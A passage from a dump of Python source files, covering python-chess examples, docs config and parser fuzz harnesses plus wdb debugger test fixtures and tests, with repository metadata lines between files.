asyncio.run(main())
4,988
Python
.py
120
34.141667
142
0.613284
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,429
perft.py
niklasf_python-chess/examples/perft/perft.py
#!/usr/bin/env python3 """ Run perft test to check correctness and speed of the legal move generator. """ import multiprocessing import multiprocessing.pool import functools import time import argparse import sys from typing import Callable, Iterator, Optional, TextIO, Type import chess import chess.variant def perft(depth: int, board: chess.Board) -> int: if depth == 1: return board.legal_moves.count() elif depth > 1: count = 0 for move in board.legal_moves: board.push(move) count += perft(depth - 1, board) board.pop() return count else: return 1 def parallel_perft(pool: multiprocessing.pool.Pool, depth: int, board: chess.Board) -> int: if depth == 1: return board.legal_moves.count() elif depth > 1: def successors(board: chess.Board) -> Iterator[chess.Board]: for move in board.legal_moves: board_after = board.copy(stack=False) board_after.push(move) yield board_after return sum(pool.imap_unordered(functools.partial(perft, depth - 1), successors(board))) else: return 1 def sdiv(a: float, b: float) -> float: try: return a / b except ZeroDivisionError: return float("Inf") def main(perft_file: TextIO, VariantBoard: Type[chess.Board], perft_f: Callable[[int, chess.Board], int], max_depth: Optional[int], max_nodes: Optional[int]) -> None: current_id = None board = VariantBoard(chess960=True) column = 0 total_nodes = 0 start_time = time.perf_counter() for line in perft_file: # Skip comments and empty lines. line = line.strip() if not line or line.startswith("#") or line.startswith("%"): continue cmd, arg = line.split(None, 1) if cmd == "id": current_id = arg elif cmd == "epd": board.set_epd(arg) elif cmd == "perft": depth, nodes = map(int, arg.split(None, 1)) if (max_depth and depth > max_depth) or (max_nodes and nodes > max_nodes): continue perft_nodes = perft_f(depth, board) if nodes != perft_nodes: print() print() print(f" !!! Failure in {current_id or '<no-name>'}") print(f" epd {board.epd()}") print(f" perft {depth} {nodes} (got {perft_nodes} instead)") print() print(board) print() for move in sorted(board.legal_moves, key=lambda m: m.uci()): board.push(move) print(f"{move}: {perft_f(depth - 1, board)}") board.pop() sys.exit(1) total_nodes += perft_nodes print(".", end="", flush=True) column += 1 if column >= 40: column = 0 sys.stdout.write(f" nodes {total_nodes} nps {sdiv(total_nodes, time.perf_counter() - start_time):.0f}\n") else: print() print("Unknown command:", cmd, arg) sys.exit(2) if column: sys.stdout.write(f" nodes {total_nodes} nps {sdiv(total_nodes, time.perf_counter() - start_time):.0f}\n") if __name__ == "__main__": parser = argparse.ArgumentParser(description=__doc__) parser.add_argument("perft", nargs="+", type=argparse.FileType("r"), help="Perft test suite(s)") parser.add_argument("--max-depth", type=int, help="Skip deeper perft tests") parser.add_argument("--max-nodes", type=int, default=1000000, help="Skip larger perft tests. Defaults to 1000000") parser.add_argument("-v", "--variant", default="standard", help="Use a non-standard chess variant") parser.add_argument("-t", "--threads", type=int, help="Number of threads") args = parser.parse_args() VariantBoard = chess.variant.find_variant(args.variant) if args.threads == 1: perft_f = perft else: pool = multiprocessing.Pool(args.threads) perft_f = functools.partial(parallel_perft, pool) for perft_file in args.perft: print("###", perft_file.name) main(perft_file, VariantBoard, perft_f, args.max_depth, args.max_nodes)
4,338
Python
.py
109
30.669725
166
0.585296
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,430
conf.py
niklasf_python-chess/docs/conf.py
import sys import os # Import the chess module. sys.path.insert(0, os.path.abspath("..")) import chess # Do not resolve these. autodoc_type_aliases = { "Square": "chess.Square", "Color": "chess.Color", "PieceType": "chess.PieceType", "Bitboard": "chess.Bitboard", "IntoSquareSet": "chess.IntoSquareSet", } # Autodoc. extensions = [ "sphinx.ext.autodoc", "sphinx.ext.viewcode", "sphinx.ext.intersphinx", "sphinxcontrib.jquery" ] autodoc_member_order = "bysource" intersphinx_mapping = { "python": ("https://docs.python.org/3", None), } # The suffix of source filenames. source_suffix = ".rst" # The master toctree document. master_doc = "index" # General information about the project. project = "python-chess" copyright = "2014–2024, Niklas Fiekas" # The version. version = chess.__version__ release = chess.__version__ # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = ["_build"] # The name of the Pygments (syntax highlighting) style to use. pygments_style = "sphinx" # The theme to use for HTML and HTML Help pages. See the documentation for # a list of built-in themes. html_theme = "sphinx_rtd_theme"
1,253
Python
.py
42
27.642857
74
0.72856
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,431
fen.py
niklasf_python-chess/fuzz/fen.py
import chess from pythonfuzz.main import PythonFuzz @PythonFuzz def fuzz(buf): try: fen = buf.decode("utf-8") except UnicodeDecodeError: pass else: try: board = chess.Board(fen) except ValueError: pass else: sanitized_fen = board.fen() board.status() list(board.legal_moves) sanitized_board = chess.Board(sanitized_fen) assert sanitized_board.fen() == sanitized_fen if __name__ == "__main__": fuzz()
545
Python
.py
21
18.047619
57
0.570328
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,432
pgn.py
niklasf_python-chess/fuzz/pgn.py
import io import logging import chess.pgn from pythonfuzz.main import PythonFuzz # The default parser logs errors for syntax errors. logging.getLogger("chess.pgn").setLevel(logging.CRITICAL) @PythonFuzz def fuzz(buf): try: pgn = io.StringIO(buf.decode("utf-8")) except UnicodeDecodeError: pass else: while True: game = chess.pgn.read_game(pgn) if game is None: break repr(game) if not game.errors: str(game) if __name__ == "__main__": fuzz()
571
Python
.py
22
19.090909
57
0.612963
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,433
engine.py
niklasf_python-chess/fuzz/engine.py
import asyncio import logging import chess.engine from pythonfuzz.main import PythonFuzz logging.getLogger("chess.engine").setLevel(logging.CRITICAL) @PythonFuzz def fuzz(buf): lines = buf.split(b"!") class FuzzTransport: def __init__(self, protocol): self.protocol = protocol self.protocol.connection_made(self) def get_pipe_transport(self, fd): assert fd == 0, f"expected 0 for stdin, got {fd}" return self def write(self, data): if lines: self.protocol.pipe_data_received(1, lines.pop(0)) def get_pid(self) -> int: return id(self) def get_returncode(self): return 0 async def main(): protocol = chess.engine.UciProtocol() transport = FuzzTransport(protocol) await asyncio.wait_for(protocol.initialize(), 0.1) await asyncio.wait_for(protocol.ping(), 0.1) await asyncio.wait_for(protocol.analysis(chess.Board(), chess.engine.Limit(nodes=1)), 0.1) try: asyncio.run(main()) except asyncio.TimeoutError: pass except UnicodeDecodeError: pass except chess.engine.EngineError: pass if __name__ == "__main__": fuzz()
1,270
Python
.py
38
25.605263
98
0.627773
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,434
epd.py
niklasf_python-chess/fuzz/epd.py
import chess from pythonfuzz.main import PythonFuzz @PythonFuzz def fuzz(buf): try: epd = buf.decode("utf-8") except UnicodeDecodeError: pass else: try: board, ops = chess.Board.from_epd(epd) except ValueError as err: pass else: sanitized_epd = board.epd(**ops) sanitized_board, sanitized_ops = chess.Board.from_epd(sanitized_epd) assert board == sanitized_board assert ops == sanitized_ops, (ops, sanitized_ops) if __name__ == "__main__": fuzz()
580
Python
.py
20
21.35
80
0.592793
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,435
setup.py
niklasf_python-chess/python-chess-stub/setup.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import os import setuptools setuptools.setup( name="python-chess", version="1.999", author="Niklas Fiekas", author_email="niklas.fiekas@backscattering.de", description="A chess library with move generation, move validation, and support for common formats.", long_description=open(os.path.join(os.path.dirname(__file__), "README.rst")).read(), long_description_content_type="text/x-rst", license="GPL-3.0+", keywords="chess fen epd pgn polyglot syzygy gaviota uci xboard", url="https://github.com/niklasf/python-chess", packages=[], install_requires=["chess>=1,<2"], classifiers=[ "Development Status :: 7 - Inactive", ], project_urls={ "Documentation": "https://python-chess.readthedocs.io", }, )
826
Python
.py
24
30
105
0.6775
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,436
xray_attacks.py
niklasf_python-chess/examples/xray_attacks.py
#!/usr/bin/env python3 """Compute X-ray attacks through more valuable pieces.""" import chess def xray_rook_attackers(board: chess.Board, color: chess.Color, square: chess.Square) -> chess.SquareSet: occupied = board.occupied rank_pieces = chess.BB_RANK_MASKS[square] & occupied file_pieces = chess.BB_FILE_MASKS[square] & occupied # Find the closest piece for each direction. These may block attacks. blockers = chess.BB_RANK_ATTACKS[square][rank_pieces] | chess.BB_FILE_ATTACKS[square][file_pieces] # Only consider blocking pieces of the victim that are more valuable # than rooks. blockers &= board.occupied_co[not color] & (board.queens | board.kings) # Now just ignore those blocking pieces. occupied ^= blockers # And compute rook attacks. rank_pieces = chess.BB_RANK_MASKS[square] & occupied file_pieces = chess.BB_FILE_MASKS[square] & occupied return chess.SquareSet(board.occupied_co[color] & board.rooks & ( chess.BB_RANK_ATTACKS[square][rank_pieces] | chess.BB_FILE_ATTACKS[square][file_pieces])) def xray_bishop_attackers(board: chess.Board, color: chess.Color, square: chess.Square) -> chess.SquareSet: occupied = board.occupied diag_pieces = chess.BB_DIAG_MASKS[square] & occupied # Find the closest piece for each direction. These may block attacks. blockers = chess.BB_DIAG_ATTACKS[square][diag_pieces] # Only consider blocking pieces of the victim that are more valuable # than bishops. blockers &= board.occupied_co[not color] & (board.rooks | board.queens | board.kings) # Now just ignore those blocking pieces. occupied ^= blockers # And compute bishop attacks. diag_pieces = chess.BB_DIAG_MASKS[square] & occupied return chess.SquareSet(board.occupied_co[color] & board.bishops & chess.BB_DIAG_ATTACKS[square][diag_pieces]) def example() -> None: board = chess.Board("r3k2r/pp3p2/4p2Q/4q1p1/4P3/P2PK3/6PP/R3R3 w q - 1 2") print("rook x-ray, black, h3:") print(xray_rook_attackers(board, chess.BLACK, chess.H3)) board = chess.Board("r1b1r1k1/pp1n1pbp/1qp3p1/B2p4/3P4/Q3PN2/PP2BPPP/R4RK1 b - - 0 1") print("bishop x-ray, white, d8:") print(xray_bishop_attackers(board, chess.WHITE, chess.D8)) if __name__ == "__main__": example()
2,316
Python
.tac
42
50.166667
113
0.715743
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,437
conftest.py
Kozea_wdb/test/conftest.py
from multiprocessing import Process from multiprocessing.connection import Listener from log_colorizer import get_color_logger from pytest import fixture from pytest import hookimpl import pickle import logging import signal import json import os import sys def u(s): if sys.version_info[0] == 2: return s.decode('utf-8') return s log = get_color_logger('wdb.test') log.info('Conftest') log.setLevel(getattr(logging, os.getenv('WDB_TEST_LOG', 'WARNING'))) GLOBALS = globals() LOCALS = locals() class Slave(Process): def __init__(self, use, host='localhost', port=19999): self.argv = None self.file = os.path.join( os.path.dirname(__file__), 'scripts', use.file ) if use.with_main: self.argv = ['', '--trace', self.file] self.file = os.path.join( os.path.dirname(__file__), '..', 'client', 'wdb', '__main__.py' ) self.host = host self.port = port super(Slave, self).__init__() def run(self): import wdb wdb.SOCKET_SERVER = self.host wdb.SOCKET_PORT = self.port wdb.WDB_NO_BROWSER_AUTO_OPEN = True sys.argv = self.argv with open(self.file, 'rb') as file: LOCALS['__name__'] = '__main__' exec(compile(file.read(), self.file, 'exec'), GLOBALS, LOCALS) class AttrDict(dict): def __init__(self, *args, **kwargs): super(AttrDict, self).__init__(*args, **kwargs) self.__dict__ = self class Message(object): def __init__(self, message): log.info('Received %s' % message) pickled = False if message.startswith('Server|'): message = message.replace('Server|', '') pickled = True if '|' in message: pipe = message.index('|') self.command, self.data = message[:pipe], message[pipe + 1 :] if pickled and self.data: self.data = pickle.loads(self.data.encode('utf-8'), protocol=2) else: self.data = json.loads(self.data, object_hook=AttrDict) else: self.command, self.data = message, '' class Socket(object): def __init__(self, testfile, host='localhost', port=19999): self.slave = Slave(testfile, host, port) self.slave.start() self.started = False self.host = host self.port = port self.connections = {} self.listener = None def connection(self, uuid): if uuid is None and len(self.connections) == 1: return list(self.connections.values())[0] else: return self.connections[uuid] def start(self): log.info('Accepting') if not self.listener: self.listener = Listener((self.host, self.port)) try: connection = self.listener.accept() except Exception: self.listener.close() raise self.started = True log.info('Connection get') uuid = connection.recv_bytes().decode('utf-8') self.connections[uuid] = connection msg = self.receive(uuid) assert msg.command == 'ServerBreaks' self.send('[]', uuid=uuid) self.send('Start', uuid=uuid) return uuid def assert_init(self): assert self.receive().command == 'Init' assert self.receive().command == 'Title' assert self.receive().command == 'Trace' assert self.receive().command == 'SelectCheck' echo_watched = self.receive().command if echo_watched == 'Echo': echo_watched = self.receive().command assert echo_watched == 'Watched' def assert_position( self, title=None, subtitle=None, file=None, code=None, function=None, line=None, breaks=None, call=None, return_=None, exception=None, bottom_code=None, bottom_line=None, ): titlemsg = self.receive() assert titlemsg.command == 'Title' if title is not None: assert titlemsg.data.title == title if subtitle is not None: assert titlemsg.data.subtitle == subtitle tracemsg = self.receive() assert tracemsg.command == 'Trace' current = tracemsg.data.trace[-1] if file is not None: assert current.file == file if code is not None: assert current.code == code if function is not None: assert current.function == function if line is not None: assert current.lno == line for frame in tracemsg.data.trace: if frame.file == self.slave.file: break if bottom_code is not None: assert frame.code == bottom_code if bottom_line is not None: assert frame.lno == bottom_line selectmsg = self.receive() assert selectmsg.command == 'SelectCheck' if any((exception, call, return_)): echomsg = self.receive() assert echomsg.command == 'Echo' if exception: assert echomsg.data['for'] == '__exception__' assert exception in echomsg.data.val if call: assert echomsg.data['for'] == '__call__' assert call in echomsg.data.val if return_: assert echomsg.data['for'] == '__return__' assert return_ in echomsg.data.val watchedmsg = self.receive() assert watchedmsg.command == 'Watched' def receive(self, uuid=None): got = self.connection(uuid).recv_bytes().decode('utf-8') if got == 'PING' or got.startswith('UPDATE_FILENAME'): return self.receive(uuid) return Message(got) def send(self, command, data=None, uuid=None): message = '%s|%s' % (command, data) if data else command log.info('Sending %s' % message) self.connection(uuid).send_bytes(message.encode('utf-8')) def join(self): self.slave.join() def close(self, failed=False): slave_was_alive = False if self.slave.is_alive(): self.slave.terminate() slave_was_alive = True if self.started: for connection in self.connections.values(): connection.close() self.listener.close() if slave_was_alive and not failed: raise Exception('Tests must join the subprocess') class use(object): def __init__(self, file, with_main=False): self.file = file self.with_main = with_main def __call__(self, fun): fun._wdb_use = self return fun def timeout_handler(signum, frame): raise Exception('Timeout') signal.signal(signal.SIGALRM, timeout_handler) @fixture(scope="function") def socket(request): log.info('Fixture') socket = Socket( request.function._wdb_use, port=sys.hexversion % 60000 + 1024 + (1 if hasattr(sys, 'pypy_version_info') else 0), ) # If it takes more than 5 seconds, it must be an error if not os.getenv('NO_WDB_TIMEOUT'): signal.alarm(5) def end_socket(): failed = False if hasattr(request.node, 'rep_call'): failed = request.node.rep_call.failed socket.close(failed) signal.alarm(0) request.addfinalizer(end_socket) return socket @hookimpl(hookwrapper=True) def pytest_runtest_makereport(item, call): """Give test status information to finalizer""" outcome = yield rep = outcome.get_result() setattr(item, "rep_" + rep.when, rep)
7,725
Python
.py
217
26.797235
79
0.587123
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,438
test_prompt.py
Kozea_wdb/test/test_prompt.py
# *-* coding: utf-8 *-* from .conftest import use, u @use('movement.py') def test_eval(socket): socket.start() socket.assert_init() socket.send('Next') socket.assert_position(line=12) socket.send('Eval', 'l') print_msg = socket.receive() assert print_msg.command == 'Print' assert print_msg.data['for'] == 'l' assert print_msg.data.result == '[]' watched_msg = socket.receive() assert watched_msg.command == 'Watched' socket.send('Next') socket.assert_position(line=13) socket.send('Eval', 'l') print_msg = socket.receive() assert print_msg.command == 'Print' assert print_msg.data['for'] == 'l' assert 'class="inspect">3</a>]' in print_msg.data.result watched_msg = socket.receive() assert watched_msg.command == 'Watched' socket.send('Eval', 'l = None') print_msg = socket.receive() assert print_msg.command == 'Print' assert print_msg.data['for'] == u('l = None') assert print_msg.data.result == '' watched_msg = socket.receive() assert watched_msg.command == 'Watched' socket.send('Continue') socket.join() @use('movement.py') def test_eval_dump(socket): socket.start() socket.assert_init() socket.send('Next') socket.assert_position(line=12) socket.send('Next') socket.assert_position(line=13) socket.send('Dump', 'l') print_msg = socket.receive() assert print_msg.command == 'Dump' assert print_msg.data['for'] == u('l ⟶ [3] ') assert print_msg.data.val socket.send('Continue') socket.join() @use('movement.py') def test_eval_new_line(socket): socket.start() socket.assert_init() socket.send('Next') socket.assert_position(line=12) socket.send('Next') socket.assert_position(line=13) socket.send('Eval', 'if l:') print_msg = socket.receive() assert print_msg.command == 'NewLine' watched_msg = socket.receive() assert watched_msg.command == 'Watched' socket.send('Eval', 'if l:\n l') print_msg = socket.receive() assert print_msg.command == 'Print' assert print_msg.data['for'] == u('if l:\n      l') assert 'class="inspect">3</a>]' in print_msg.data.result socket.send('Continue') socket.join()
2,273
Python
.py
68
28.455882
60
0.645517
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,439
test_error.py
Kozea_wdb/test/test_error.py
# *-* coding: utf-8 *-* from .conftest import use @use('error_in_script.py') def test_with_error(socket): socket.start() msg = socket.receive() assert msg.command == 'Init' assert 'cwd' in msg.data msg = socket.receive() assert msg.command == 'Title' assert msg.data.title == 'ZeroDivisionError' assert 'division' in msg.data.subtitle msg = socket.receive() assert msg.command == 'Trace' current_trace = msg.data.trace[-1] assert current_trace.code == 'return z / 0' assert current_trace.current is False assert 'scripts/error_in_script.py' in current_trace.file assert current_trace.flno == 4 assert current_trace.function == 'divide_by_zero' assert current_trace.llno == 5 assert current_trace.lno == 5 msg = socket.receive() assert msg.command == 'SelectCheck' assert msg.data.frame.function == 'divide_by_zero' file = msg.data.name msg = socket.receive() assert msg.command == 'Echo' assert msg.data['for'] == '__exception__' assert 'ZeroDivisionError:' in msg.data.val msg = socket.receive() assert msg.command == 'Watched' assert msg.data == {} socket.send('File', file) msg = socket.receive() assert msg.command == 'Select' assert msg.data.name == file assert len(msg.data.file) == 259 socket.send('Continue') socket.join()
1,384
Python
.py
40
29.775
61
0.664419
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,440
test_osforks.py
Kozea_wdb/test/test_osforks.py
# *-* coding: utf-8 *-* from .conftest import use @use('osfork.py') def test_with_fork_from_os(socket): uuid1 = socket.start() uuid2 = socket.start() for uuid in (uuid1, uuid2): msg = socket.receive(uuid) assert msg.command == 'Init' assert 'cwd' in msg.data msg = socket.receive(uuid) assert msg.command == 'Title' assert msg.data.title == 'Wdb' assert msg.data.subtitle == 'Stepping' msg = socket.receive(uuid1) assert msg.command == 'Trace' current_trace = msg.data.trace[-1] if current_trace.code == "print('Children dead')": assert current_trace.current is True assert 'scripts/osfork.py' in current_trace.file assert current_trace.flno == 1 assert current_trace.function == '<module>' assert current_trace.llno == 18 assert current_trace.lno == 12 uuid1_fork1 = True else: assert current_trace.code == "print('Parent dead')" assert current_trace.current is True assert 'scripts/osfork.py' in current_trace.file assert current_trace.flno == 1 assert current_trace.function == '<module>' assert current_trace.llno == 18 assert current_trace.lno == 16 uuid1_fork1 = False msg = socket.receive(uuid2) assert msg.command == 'Trace' current_trace = msg.data.trace[-1] if uuid1_fork1: assert current_trace.code == "print('Parent dead')" assert current_trace.current is True assert 'scripts/osfork.py' in current_trace.file assert current_trace.flno == 1 assert current_trace.function == '<module>' assert current_trace.llno == 18 assert current_trace.lno == 16 else: assert current_trace.code == "print('Children dead')" assert current_trace.current is True assert 'scripts/osfork.py' in current_trace.file assert current_trace.flno == 1 assert current_trace.function == '<module>' assert current_trace.llno == 18 assert current_trace.lno == 12 for uuid in (uuid1, uuid2): msg = socket.receive(uuid) assert msg.command == 'SelectCheck' assert msg.data.frame.function == '<module>' msg = socket.receive(uuid) assert msg.command == 'Watched' assert msg.data == {} socket.send('Continue', uuid=uuid) socket.join()
2,424
Python
.py
62
31.419355
61
0.628401
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,441
test_trace.py
Kozea_wdb/test/test_trace.py
# *-* coding: utf-8 *-* from .conftest import use @use('trace_in_script.py') def test_with_trace(socket): socket.start() msg = socket.receive() assert msg.command == 'Init' assert 'cwd' in msg.data msg = socket.receive() assert msg.command == 'Title' assert msg.data.title == 'Wdb' assert msg.data.subtitle == 'Stepping' msg = socket.receive() assert msg.command == 'Trace' current_trace = msg.data.trace[-1] assert current_trace.code == 'a = 2' assert current_trace.current is True assert 'scripts/trace_in_script.py' in current_trace.file assert current_trace.flno == 11 assert current_trace.function == 'fun2' assert current_trace.llno == 16 assert current_trace.lno == 14 msg = socket.receive() assert msg.command == 'SelectCheck' assert msg.data.frame.function == 'fun2' file = msg.data.name msg = socket.receive() assert msg.command == 'Watched' assert msg.data == {} socket.send('File', file) msg = socket.receive() assert msg.command == 'Select' assert msg.data.name == file assert len(msg.data.file) == 263 socket.send('Continue') # Tracing msg = None while not msg: try: msg = socket.receive() except Exception as e: msg = None assert type(e) == EOFError assert msg.command == 'Title' assert msg.data.title == 'Wdb' assert msg.data.subtitle == 'Stepping' msg = socket.receive() assert msg.command == 'Trace' current_trace = msg.data.trace[-1] assert current_trace.code == "print('The end')" assert current_trace.current is True assert 'scripts/trace_in_script.py' in current_trace.file assert current_trace.flno == 3 assert current_trace.function == '<module>' assert current_trace.llno == 26 assert current_trace.lno == 26 msg = socket.receive() assert msg.command == 'SelectCheck' assert msg.data.frame.function == '<module>' file = msg.data.name msg = socket.receive() assert msg.command == 'Watched' assert msg.data == {} socket.send('File', file) msg = socket.receive() assert msg.command == 'Select' assert msg.data.name == file assert len(msg.data.file) == 263 socket.send('Continue') socket.join() @use('error_in_with.py') def test_with_error_in_trace(socket): socket.start() # The first to stop must be the one with the full trace msg = socket.receive() assert msg.command == 'Init' assert 'cwd' in msg.data socket.assert_position( title='ZeroDivisionError', code='return i / 0', exception="ZeroDivisionError", ) socket.send('Return') socket.assert_position(code='return 2', return_="2") socket.send('Next') socket.assert_position(code='print(d + a)', line=24) socket.send('Continue') socket.join() @use('error_in_with_advanced.py') def test_with_error_in_trace_advanced(socket): socket.start() # The first to stop must be the one with the full trace on parent msg = socket.receive() assert msg.command == 'Init' assert 'cwd' in msg.data for i in range(2): socket.assert_position( title='ZeroDivisionError', code='return i / 0', exception="ZeroDivisionError", ) socket.send('Next') socket.assert_position( code='return i / 0', return_='None', subtitle='Returning from make_error with value None', ) # Full trace catch exception at everly traced level socket.send('Next') socket.assert_position( title='ZeroDivisionError', code='return i / 0', bottom_code='parent()' if not i else 'grandparent()', exception="ZeroDivisionError", ) socket.send('Next') socket.assert_position(code='except ZeroDivisionError:') socket.send('Continue') socket.join() @use('error_in_with_below.py') def test_with_error_in_trace_below(socket): socket.start() # The first to stop must be the one with the full trace on parent msg = socket.receive() assert msg.command == 'Init' assert 'cwd' in msg.data socket.assert_position( title='ZeroDivisionError', code='return below / 0', exception="ZeroDivisionError", bottom_code='uninteresting_function_not_catching(1)', bottom_line=54, ) socket.send('Continue') socket.assert_position( title='ZeroDivisionError', code='return below / 0', exception="ZeroDivisionError", bottom_code='uninteresting_function_catching(1)', bottom_line=61, ) socket.send('Continue') socket.assert_position( title='ZeroDivisionError', code='return below / 0', exception="ZeroDivisionError", bottom_code='one_more_step(uninteresting_function_not_catching, 2)', bottom_line=78, ) socket.send('Continue') socket.assert_position( title='ZeroDivisionError', code='return below / 0', exception="ZeroDivisionError", bottom_code='one_more_step(uninteresting_function_catching, 2)', bottom_line=84, ) socket.send('Continue') socket.join() @use('error_in_with_under.py') def test_with_error_in_trace_under(socket): socket.start() # The first to stop must be the one with the full trace on parent msg = socket.receive() assert msg.command == 'Init' assert 'cwd' in msg.data socket.assert_position( title='ZeroDivisionError', code='return below / 0', exception="ZeroDivisionError", bottom_code='uninteresting_function_not_catching(1)', bottom_line=52, ) socket.send('Continue') socket.assert_position( title='ZeroDivisionError', code='return below / 0', exception="ZeroDivisionError", bottom_code='uninteresting_function_catching(1)', bottom_line=59, ) socket.send('Continue') socket.assert_position( title='ZeroDivisionError', code='return below / 0', exception="ZeroDivisionError", bottom_code='one_more_step(uninteresting_function_not_catching, 2)', bottom_line=69, ) socket.send('Continue') socket.assert_position( title='ZeroDivisionError', code='return below / 0', exception="ZeroDivisionError", bottom_code='one_more_step(uninteresting_function_catching, 2)', bottom_line=75, ) socket.send('Continue') socket.join() @use('error_in_with_below_under.py') def test_with_error_in_trace_below_under(socket): socket.start() # The first to stop must be the one with the full trace on parent msg = socket.receive() assert msg.command == 'Init' assert 'cwd' in msg.data socket.assert_position( title='AttributeError', code='return below.what', exception='AttributeError', bottom_code='uninteresting_function_catching(0)', bottom_line=61, ) socket.send('Continue') socket.assert_position( title='ZeroDivisionError', code='return below / 0', exception="ZeroDivisionError", bottom_code='uninteresting_function_catching(0)', bottom_line=61, ) socket.send('Continue') socket.assert_position( title='ZeroDivisionError', code='return below / 0', exception="ZeroDivisionError", bottom_code='uninteresting_function_catching(0)', bottom_line=65, ) socket.send('Continue') socket.assert_position( title='ZeroDivisionError', code='return below / 0', exception="ZeroDivisionError", bottom_code='uninteresting_function_catching_with_a_step_more(1)', bottom_line=77, ) socket.send('Continue') socket.assert_position( title='ZeroDivisionError', code='return below / 0', exception="ZeroDivisionError", bottom_code='one_more_step(' 'uninteresting_function_catching_with_a_step_more, 2)', bottom_line=81, ) socket.send('Continue') socket.join()
8,245
Python
.py
248
26.528226
76
0.639416
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,442
test_misc.py
Kozea_wdb/test/test_misc.py
# *-* coding: utf-8 *-* from .conftest import use @use('latin-1.py') def test_latin_1(socket): socket.start() socket.assert_init() socket.send('Continue') socket.join()
187
Python
.py
8
20.125
27
0.655367
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,443
test_movement.py
Kozea_wdb/test/test_movement.py
# *-* coding: utf-8 *-* from .conftest import use @use('movement.py') def test_next(socket): socket.start() socket.assert_init() def next(code): socket.send('Next') socket.assert_position(code=code) next('l.append(3)') next('l += [8, 12]') next('l = modify_list(l)') for i in range(3): next('for i, e in enumerate(l[:]):') next('if i > 2:') next('l[i] = e * i') next('for i, e in enumerate(l[:]):') next('if i > 2:') next('l[i] = i') next('for i, e in enumerate(l[:]):') next('print(l, sum(l))') socket.send('Continue') socket.join() @use('movement.py') def test_until(socket): socket.start() socket.assert_init() def until(code): socket.send('Until') socket.assert_position(code=code) until('l.append(3)') until('l += [8, 12]') until('l = modify_list(l)') until('for i, e in enumerate(l[:]):') until('if i > 2:') until('l[i] = e * i') until('print(l, sum(l))') socket.send('Continue') socket.join() @use('movement.py') def test_step(socket): socket.start() socket.assert_init() def step(code, **kwargs): socket.send('Step') socket.assert_position(code=code, **kwargs) step('l.append(3)') step('l += [8, 12]') step('l = modify_list(l)') step('def modify_list(ll):', call="modify_list(ll=[\n <a href=") step('ll[1] = 7') step('ll.insert(0, 3)') step('return ll') step('return ll', return_="[\n <a href=") for i in range(3): step('for i, e in enumerate(l[:]):') step('if i > 2:') step('l[i] = e * i') step('for i, e in enumerate(l[:]):') step('if i > 2:') step('l[i] = i') step('for i, e in enumerate(l[:]):') step('print(l, sum(l))') socket.send('Continue') socket.join() @use('movement.py') def test_return(socket): socket.start() socket.assert_init() def ret(code, **kwargs): socket.send('Return') socket.assert_position(code=code, **kwargs) def step(code, **kwargs): socket.send('Step') socket.assert_position(code=code, **kwargs) step('l.append(3)') step('l += [8, 12]') step('l = modify_list(l)') step('def modify_list(ll):', call="modify_list(ll=[\n <a href=") step('ll[1] = 7') ret('return ll', return_="[\n <a href=") for i in range(3): step('for i, e in enumerate(l[:]):') step('if i > 2:') step('l[i] = e * i') step('for i, e in enumerate(l[:]):') step('if i > 2:') step('l[i] = i') step('for i, e in enumerate(l[:]):') step('print(l, sum(l))') socket.send('Continue') socket.join()
2,729
Python
.py
92
23.956522
69
0.541028
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,444
test_utils.py
Kozea_wdb/test/test_utils.py
# *-* coding: utf-8 *-* import sys from wdb._compat import OrderedDict def test_args(): from wdb.utils import get_args def f(i, j): assert get_args(sys._getframe()) == OrderedDict((('i', i), ('j', j))) f(10, 'a') f(None, 2 + 7j) def test_empty(): from wdb.utils import get_args def f(): assert get_args(sys._getframe()) == OrderedDict() f() def test_arg_with_default(): from wdb.utils import get_args def f(x, y=12, z=2193): assert get_args(sys._getframe()) == OrderedDict( (('x', x), ('y', y), ('z', z)) ) f(5) f('a') f('a', 5, 19) f('a', z=19) def test_varargs(): from wdb.utils import get_args def f(x, *args): assert get_args(sys._getframe()) == OrderedDict( (('x', x), ('*args', args)) ) f(2, 3, 5, 'a') f(2, *[[1, 2], 3]) f(2) def test_varargs_only(): from wdb.utils import get_args def f(*a): assert get_args(sys._getframe()) == OrderedDict((('*a', a),)) f(5, 2) f(10) f() def test_kwargs(): from wdb.utils import get_args def f(x, **kwargs): assert get_args(sys._getframe()) == OrderedDict( (('x', x), ('**kwargs', kwargs)) ) f(5) f(9, i=4, j=53) f(1, i=4, **{'d': 5, 'c': 'c'}) def test_kwargs_only(): from wdb.utils import get_args def f(**kw): assert get_args(sys._getframe()) == OrderedDict((('**kw', kw),)) f() f(a='i', b=5) f(d={'i': 3}) f(**{'d': 5, 'c': 'c'}) def test_method(): from wdb.utils import get_args class cls(object): def f(self, a, b=2, *args, **kwargs): assert get_args(sys._getframe()) == OrderedDict( ( ('self', self), ('a', 